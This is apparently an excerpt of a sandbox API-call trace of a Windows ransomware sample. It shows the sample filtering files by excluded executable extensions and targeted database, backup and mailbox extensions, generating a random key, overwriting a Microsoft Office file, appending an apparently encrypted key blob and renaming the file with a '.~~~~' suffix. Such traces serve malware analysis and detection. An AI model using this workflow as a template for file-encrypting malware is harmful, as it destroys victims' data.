	[0144.253] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK", lpSrch=".MYD") returned 0x0
	[0144.253] lstrlenW (lpString=".DBT") returned 4
	[0144.254] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK", lpSrch=".DBT") returned 0x0
	[0144.254] lstrlenW (lpString=".ACCDB") returned 6
	[0144.254] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK", lpSrch=".ACCDB") returned 0x0
	[0144.254] lstrlenW (lpString=".fdb") returned 4
	[0144.254] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK", lpSrch=".fdb") returned 0x0
	[0144.254] lstrlenW (lpString=".bak") returned 4
	[0144.254] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK", lpSrch=".bak") returned 0x0
	[0144.254] lstrlenW (lpString=".myd") returned 4
	[0144.254] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK", lpSrch=".myd") returned 0x0
	[0144.254] lstrlenW (lpString=".DTXS") returned 5
	[0144.254] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK", lpSrch=".DTXS") returned 0x0
	[0144.254] lstrlenW (lpString=".ckp") returned 4
	[0144.254] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK", lpSrch=".ckp") returned 0x0
	[0144.254] lstrlenW (lpString=".dbt") returned 4
	[0144.254] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK", lpSrch=".dbt") returned 0x0
	[0144.254] lstrlenW (lpString=".db") returned 3
	[0144.254] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK", lpSrch=".db") returned 0x0
	[0144.254] lstrlenW (lpString=".TXT") returned 4
	[0144.254] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK", lpSrch=".TXT") returned 0x0
	[0144.254] lstrlenW (lpString=".MDF") returned 4
	[0144.254] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK", lpSrch=".MDF") returned 0x0
	[0144.254] lstrlenW (lpString=".bdb") returned 4
	[0144.254] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK", lpSrch=".bdb") returned 0x0
	[0144.254] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0144.254] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0144.254] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0144.254] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0144.255] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x394b08) returned 1
	[0144.256] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0144.256] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0144.256] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0144.256] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0144.256] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0144.256] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=26424606857) returned 1
	[0144.256] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xbf632590, dwHighDateTime=0x1d60e1e)) 
	[0144.256] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0144.256] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0144.256] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0144.256] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a3300
	[0144.256] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0144.256] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3300 | out: hHeap=0x300000) returned 1
	[0144.256] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0144.256] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0144.257] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28aca58
	[0144.257] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0144.257] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37d168
	[0144.257] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28aca58 | out: hHeap=0x300000) returned 1
	[0144.257] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0144.257] GetLastError () returned 0x0
	[0144.257] GetLastError () returned 0x0
	[0144.257] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0144.257] GetLastError () returned 0x0
	[0144.257] GetLastError () returned 0x0
	[0144.258] ReadFile (in: hFile=0x138, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x1f8fec0*=0x72, lpOverlapped=0x0) returned 1
	[0144.259] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffff8e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0144.259] WriteFile (in: hFile=0x138, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x72, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x1f8fec0*=0x72, lpOverlapped=0x0) returned 1
	[0144.259] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0144.259] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0144.259] WriteFile (in: hFile=0x138, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0144.259] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0144.259] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0144.259] CloseHandle (hObject=0x138) returned 1
	[0144.260] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28aca58
	[0144.260] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_f_col.hxk"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_f_col.hxk.~~~~")) returned 1
	[0144.263] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28aca58 | out: hHeap=0x300000) returned 1
	[0144.263] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0144.263] GetLastError () returned 0x0
	[0144.263] RtlWakeConditionVariable () returned 0x365f70
	[0144.263] GetCurrentThreadId () returned 0xaf0
	[0144.263] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK", lpSrch=".scr") returned 0x0
	[0144.263] lstrlenW (lpString=".cmd") returned 4
	[0144.263] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK", lpSrch=".cmd") returned 0x0
	[0144.263] lstrlenW (lpString=".dll") returned 4
	[0144.263] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK", lpSrch=".dll") returned 0x0
	[0144.263] lstrlenW (lpString=".bat") returned 4
	[0144.264] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK", lpSrch=".bat") returned 0x0
	[0144.264] lstrlenW (lpString=".cpl") returned 4
	[0144.264] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK", lpSrch=".cpl") returned 0x0
	[0144.264] lstrlenW (lpString=".sys") returned 4
	[0144.264] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK", lpSrch=".sys") returned 0x0
	[0144.264] lstrlenW (lpString=".msc") returned 4
	[0144.264] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK", lpSrch=".msc") returned 0x0
	[0144.264] lstrlenW (lpString=".com") returned 4
	[0144.264] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK", lpSrch=".com") returned 0x0
	[0144.264] lstrlenW (lpString=".lnk") returned 4
	[0144.264] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK", lpSrch=".lnk") returned 0x0
	[0144.264] lstrlenW (lpString=".msp") returned 4
	[0144.264] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK", lpSrch=".msp") returned 0x0
	[0144.264] lstrlenW (lpString=".pif") returned 4
	[0144.264] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK", lpSrch=".pif") returned 0x0
	[0144.264] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0144.264] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK", lpSrch="msp\r\n.pif") returned 0x0
	[0144.264] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138
	[0144.266] lstrlenW (lpString=".sqb") returned 4
	[0144.266] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK", lpSrch=".sqb") returned 0x0
	[0144.266] lstrlenW (lpString=".ost") returned 4
	[0144.266] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK", lpSrch=".ost") returned 0x0
	[0144.266] lstrlenW (lpString=".txt") returned 4
	[0144.266] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK", lpSrch=".txt") returned 0x0
	[0144.266] lstrlenW (lpString=".mdt") returned 4
	[0144.266] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK", lpSrch=".mdt") returned 0x0
	[0144.266] lstrlenW (lpString=".BDB") returned 4
	[0144.266] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK", lpSrch=".BDB") returned 0x0
	[0144.266] lstrlenW (lpString=".eql") returned 4
	[0144.266] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK", lpSrch=".eql") returned 0x0
	[0144.267] lstrlenW (lpString=".DBF") returned 4
	[0144.267] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK", lpSrch=".DBF") returned 0x0
	[0144.267] lstrlenW (lpString=".EQL") returned 4
	[0144.267] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK", lpSrch=".EQL") returned 0x0
	[0144.267] lstrlenW (lpString=".FDB") returned 4
	[0144.267] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK", lpSrch=".FDB") returned 0x0
	[0144.267] lstrlenW (lpString=".EDB") returned 4
	[0144.267] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK", lpSrch=".EDB") returned 0x0
	[0144.267] lstrlenW (lpString=".DACPAC") returned 7
	[0144.267] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK", lpSrch=".DACPAC") returned 0x0
	[0144.267] lstrlenW (lpString=".VHD") returned 4
	[0144.267] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK", lpSrch=".VHD") returned 0x0
	[0144.267] lstrlenW (lpString=".DBV") returned 4
	[0144.267] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK", lpSrch=".DBV") returned 0x0
	[0144.267] lstrlenW (lpString=".dacpac") returned 7
	[0144.267] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK", lpSrch=".dacpac") returned 0x0
	[0144.267] lstrlenW (lpString=".sdf") returned 4
	[0144.267] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK", lpSrch=".sdf") returned 0x0
	[0144.267] lstrlenW (lpString=".accdb") returned 6
	[0144.267] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK", lpSrch=".accdb") returned 0x0
	[0144.267] lstrlenW (lpString=".DBX") returned 4
	[0144.267] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK", lpSrch=".DBX") returned 0x0
	[0144.267] lstrlenW (lpString=".MDT") returned 4
	[0144.267] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK", lpSrch=".MDT") returned 0x0
	[0144.267] lstrlenW (lpString=".SQB") returned 4
	[0144.267] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK", lpSrch=".SQB") returned 0x0
	[0144.268] lstrlenW (lpString=".vhd") returned 4
	[0144.268] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK", lpSrch=".vhd") returned 0x0
	[0144.268] lstrlenW (lpString=".bac") returned 4
	[0144.268] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK", lpSrch=".bac") returned 0x0
	[0144.268] lstrlenW (lpString=".mdf") returned 4
	[0144.268] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK", lpSrch=".mdf") returned 0x0
	[0144.268] lstrlenW (lpString=".BAK") returned 4
	[0144.268] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK", lpSrch=".BAK") returned 0x0
	[0144.268] lstrlenW (lpString=".BAC") returned 4
	[0144.268] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK", lpSrch=".BAC") returned 0x0
	[0144.268] lstrlenW (lpString=".dbs") returned 4
	[0144.268] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK", lpSrch=".dbs") returned 0x0
	[0144.268] lstrlenW (lpString=".vhdx") returned 5
	[0144.268] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK", lpSrch=".vhdx") returned 0x0
	[0144.268] lstrlenW (lpString=".NDF") returned 4
	[0144.268] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK", lpSrch=".NDF") returned 0x0
	[0144.268] lstrlenW (lpString=".dat") returned 4
	[0144.268] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK", lpSrch=".dat") returned 0x0
	[0144.268] lstrlenW (lpString=".DBS") returned 4
	[0144.268] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK", lpSrch=".DBS") returned 0x0
	[0144.268] lstrlenW (lpString=".CKP") returned 4
	[0144.268] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK", lpSrch=".CKP") returned 0x0
	[0144.268] lstrlenW (lpString=".edb") returned 4
	[0144.268] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK", lpSrch=".edb") returned 0x0
	[0144.268] lstrlenW (lpString=".PST") returned 4
	[0144.269] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK", lpSrch=".PST") returned 0x0
	[0144.269] lstrlenW (lpString=".dbf") returned 4
	[0144.269] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK", lpSrch=".dbf") returned 0x0
	[0144.269] lstrlenW (lpString=".SQL") returned 4
	[0144.269] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK", lpSrch=".SQL") returned 0x0
	[0144.269] lstrlenW (lpString=".pst") returned 4
	[0144.269] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK", lpSrch=".pst") returned 0x0
	[0144.269] lstrlenW (lpString=".dbv") returned 4
	[0144.269] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK", lpSrch=".dbv") returned 0x0
	[0144.269] lstrlenW (lpString=".SDF") returned 4
	[0144.269] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK", lpSrch=".SDF") returned 0x0
	[0144.269] lstrlenW (lpString=".dtxs") returned 5
	[0144.269] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK", lpSrch=".dtxs") returned 0x0
	[0144.269] lstrlenW (lpString=".db3") returned 4
	[0144.269] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK", lpSrch=".db3") returned 0x0
	[0144.269] lstrlenW (lpString=".OST") returned 4
	[0144.269] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK", lpSrch=".OST") returned 0x0
	[0144.269] lstrlenW (lpString=".dbx") returned 4
	[0144.269] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK", lpSrch=".dbx") returned 0x0
	[0144.269] lstrlenW (lpString=".DB3") returned 4
	[0144.269] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK", lpSrch=".DB3") returned 0x0
	[0144.269] lstrlenW (lpString=".DAT") returned 4
	[0144.269] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK", lpSrch=".DAT") returned 0x0
	[0144.269] lstrlenW (lpString=".VHDX") returned 5
	[0144.269] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK", lpSrch=".VHDX") returned 0x0
	[0144.269] lstrlenW (lpString=".ndf") returned 4
	[0144.269] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK", lpSrch=".ndf") returned 0x0
	[0144.269] lstrlenW (lpString=".DB") returned 3
	[0144.269] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK", lpSrch=".DB") returned 0x0
	[0144.270] lstrlenW (lpString=".sql") returned 4
	[0144.270] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK", lpSrch=".sql") returned 0x0
	[0144.270] lstrlenW (lpString=".MYD") returned 4
	[0144.270] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK", lpSrch=".MYD") returned 0x0
	[0144.270] lstrlenW (lpString=".DBT") returned 4
	[0144.270] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK", lpSrch=".DBT") returned 0x0
	[0144.270] lstrlenW (lpString=".ACCDB") returned 6
	[0144.270] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK", lpSrch=".ACCDB") returned 0x0
	[0144.270] lstrlenW (lpString=".fdb") returned 4
	[0144.270] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK", lpSrch=".fdb") returned 0x0
	[0144.270] lstrlenW (lpString=".bak") returned 4
	[0144.270] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK", lpSrch=".bak") returned 0x0
	[0144.270] lstrlenW (lpString=".myd") returned 4
	[0144.270] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK", lpSrch=".myd") returned 0x0
	[0144.270] lstrlenW (lpString=".DTXS") returned 5
	[0144.270] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK", lpSrch=".DTXS") returned 0x0
	[0144.270] lstrlenW (lpString=".ckp") returned 4
	[0144.270] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK", lpSrch=".ckp") returned 0x0
	[0144.270] lstrlenW (lpString=".dbt") returned 4
	[0144.270] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK", lpSrch=".dbt") returned 0x0
	[0144.270] lstrlenW (lpString=".db") returned 3
	[0144.270] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK", lpSrch=".db") returned 0x0
	[0144.270] lstrlenW (lpString=".TXT") returned 4
	[0144.270] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK", lpSrch=".TXT") returned 0x0
	[0144.270] lstrlenW (lpString=".MDF") returned 4
	[0144.270] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK", lpSrch=".MDF") returned 0x0
	[0144.270] lstrlenW (lpString=".bdb") returned 4
	[0144.270] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK", lpSrch=".bdb") returned 0x0
	[0144.270] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0144.270] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0144.270] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0144.271] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0144.271] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x394b08) returned 1
	[0144.272] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0144.272] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0144.272] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0144.272] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0144.272] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0144.272] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=26426213371) returned 1
	[0144.272] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xbf6586f0, dwHighDateTime=0x1d60e1e)) 
	[0144.272] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0144.272] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0144.272] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0144.272] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a39c8
	[0144.272] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0144.272] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a39c8 | out: hHeap=0x300000) returned 1
	[0144.272] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0144.273] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0144.273] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28aca58
